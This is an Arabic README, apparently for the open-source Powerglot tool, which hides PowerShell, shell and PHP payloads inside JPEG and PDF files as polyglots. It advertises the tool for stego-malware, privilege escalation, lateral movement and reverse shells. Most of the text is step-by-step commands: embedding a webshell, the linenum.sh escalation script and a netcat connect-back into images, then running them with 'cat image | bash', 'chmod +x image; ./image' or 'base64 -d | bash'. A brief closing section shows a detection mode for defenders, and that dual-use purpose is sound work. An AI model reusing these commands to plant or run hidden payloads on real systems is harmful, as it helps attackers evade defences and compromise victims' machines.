
يقوم Powerglot بتشفير نصوص PowerShell الهجومية باستخدام polyglots. أداة أمنية هجومية مفيدة لـ stego-malware وتصعيد الامتيازات والحركة الجانبية والصدفة العكسية، إلخ.
تقوم أداة باورجلوت بتشفير عدة أنواع من النصوص البرمجية باستخدام متعددات اللغات (polyglots)، على سبيل المثال، نصوص باورشيل الهجومية. لا حاجة إلى محمل (loader) لتشغيل الحمولة (payload).
في تمارين الفريق الأحمر أو المهام الهجومية، غالبًا ما يتم إخفاء الحمولات باستخدام تقنيات الإخفاء المعلوماتي (steganography)، خاصةً لتجنب حماية مستوى الشبكة، ومن أكثر الحمولات شيوعًا النصوص المطورة بلغة باورشيل. تستخدم البرامج الضارة الحديثة ومجموعات التهديد المستمر المتقدم (APTs) بعضًا من هذه الإمكانيات: APT32، APT37، Ursnif، Powload، LightNeuron/Turla، Platinum APT، Waterbug/Turla، Lokibot، The dukes (عملية Ghost)، Titanium، وغيرها.
باورجلوت هي أداة هجومية ودفاعية متعددة الوظائف ومتعددة المنصات تعتمد على متعددات اللغات. تسمح باورجلوت بإخفاء نص برمجي (باورشيل، نصوص شل، بي إتش بي، ...) بشكل أساسي في صورة رقمية، على الرغم من أن تنسيقات ملفات أخرى قيد التطوير. على عكس الأدوات الهجومية أو البرامج الضارة المعتادة، لا تحتاج باورجلوت إلى أي محمل لتنفيذ "المعلومات المخفية"، مما يقلل من الضوضاء على النظام المستهدف.
تتمتع باورجلوت بفائدة واضحة في المهام الهجومية ولكنها تُعرف أيضًا كأداة اكتشاف وأداة للفريق الأزرق. على حد علمنا، هي أول أداة مفتوحة المصدر عامة وكاملة تسمح بالبحث عن وجود معلومات مخفية باستخدام متعددات اللغات، وهي معلومات قد تكون مفيدة لتحقيق الثبات في النظام أو إخفاء البرامج الضارة (stego-malware، تصعيد الامتيازات، الحركة الجانبية، شل عكسي، إلخ.)
الميزات:
تشفير نصوص باورشيل/شل/بي إتش بي/... في صورة متعددة اللغات. لا حاجة إلى محمل لاستعادة/تنفيذ المعلومات المخفية (الحمولة). تعمل باورجلوت مع عدة تنسيقات. بشكل أساسي، تنسيقات JPEG و PDF. تنسيقات أخرى قيد التطوير.
باورجلوت هي أداة مفتوحة المصدر كاملة لاكتشاف متعددات اللغات (الخبيثة)، خاصةً نتائج بعض الأدوات العامة مثل Truepolyglot أو stegoSploit. نعمل على عدة تنسيقات: JPEG، PNG، GIF، BMP، ZIP، PDF، MP3، إلخ.
# git clone https://github.com/mindcrypt/powerglot
# python3 powerglot
بعض الأمثلة لإخفاء الحمولات باستخدام متعددات اللغات مع باورجلوت
# مثال 1 - إخفاء نص باورشيل/بي إتش بي/شل في صورة JPEG
# python3 powerglot.py -o payload.ps1 cat.jpg cat-hidden1.jpg
# python3 powerglot.py -o webshell.php cat.jpg cat-hidden2.jpg
# python3 powerglot.py -o shell.sh cat.jpg cat-hidden3.jpg
# مثال 2 - إخفاء نص شل (linenum.sh) لتصعيد الامتيازات "مخفي" في صورة JPEG
# python3 powerglot.py -o linenum.sh cat.jpg cat-linenum.jpg
# file cat-linenum.jpg (إنه ملف JPEG صالح)
# feh cat-lineum.jpg (تظهر الصورة بشكل صحيح في عارض الصور)
# يمكننا تنفيذ النص بعدة طرق:
a) cat cat-linenum | bash
b) chmod +x cat-linenum.jpeg; ./cat-linenum.jpeg
# مثال 3 - إخفاء قناة تغطية (cover-channel) مع netcat في صورة JPEG
# المهاجم
# echo "nc 127.0.0.1 4444" > netcat.sh
# python3 powerglot.py -o netcat.sh cat.jpeg cat-netcat.jpeg
# nc -nvlp 4444
#الضحية
# chmod +x cat-netcat.jpg | ./cat-netcat.jpg

# مثال 4 - متعدد اللغات في PDF (مثال linenum.sh)
# أنشئ b64.sh مع الحمولة المفضلة لديك
base64 Linenum.sh -w 0 > b64.sh
# حرر b64.sh
echo "code in b64.sh" | base64 -d | bash;
# python3 powerglot -o b64.sh sample.pdf test.pdf
# file test.pdf
# xpdf test.pdf
# نفذ الحمولة
# cat test.pdf | bash or chmod +x test.pdf; ./test.pdf
# مثال 5 - باورشيل في JPEG (متعدد اللغات)
# python3 powerglot.py -o script.ps1 cat.jpeg cat-ps.jpeg
# file cat-ps.jpeg
# feh cat-ps.jpeg
# نفذ الحمولة (مثال)
# cat cat-ps.jpeg | pwsh
PS /home/alfonso/PowerGlot/POWERSHELL> get-process;<#hola <# mundo#>
NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0,00 2,70 0,00 830 829 (sd-pam)
0 0,00 0,00 0,00 75 0 acpi_thermal_pm
0 0,00 4,80 0,00 1217 854 agent
0 0,00 1,70 0,00 748 748 agetty
0 0,00 40,77 1,01 1198 854 applet.py
0 0,00 6,29 0,00 938 938 at-spi-bus-launcher
0 0,00 6,61 5,64 953 938 at-spi2-registryd
0 0,00 0,00 0,00 131 0 ata_sff
0 0,00 1,77 0,00 8906 …78 atom
0 0,00 218,81 585,95 8908 …78 atom
0 0,00 236,18 176,24 8947 …78 atom
0 0,00 142,14 2,51 9009 …78 atom
0 0,00 81,54 3,32 8932 …78 atom --type=gpu-process --enable-features=SharedArrayBuffer -…
0 0,00 39,44 0,01 8910 …78 atom --type=zygote --no-sandbox
0 0,00 5,62 0,11 1370 …70 bash
0 0,00 5,36 0,66 5278 …78 bash
0 0,00 6,34 1,48 6778 …78 bash
0 0,00 0,00 0,00 68 0 blkcg_punt_bio
0 0,00 46,73 2,20 1199 854 blueman-applet
0 0,00 50,25 1,64 1301 854 blueman-tray
بعض الأمثلة لاكتشاف متعددات اللغات في نظام الملفات لدينا
#python3 powerglot.py -d ./
--= [اكتشاف متعددات اللغات] --=
..............................................................
[ملف مشبوه]-[ ./cat-end-extra2.jpg ]..
[ملف مشبوه]-[ ./cat-end-extra3.jpg ][Polyglot Stegosploit][توقيع نهاية الملف: */ -->]
.................................................................................
[ملف مشبوه]-[ ./cat-end-extra1.jpg ]..
تم تطوير هذا المشروع بواسطة الدكتور ألفونسو مونيوز وأبراهام باسامار. تم إصدار الكود تحت رخصة GNU العامة الإصدار 3.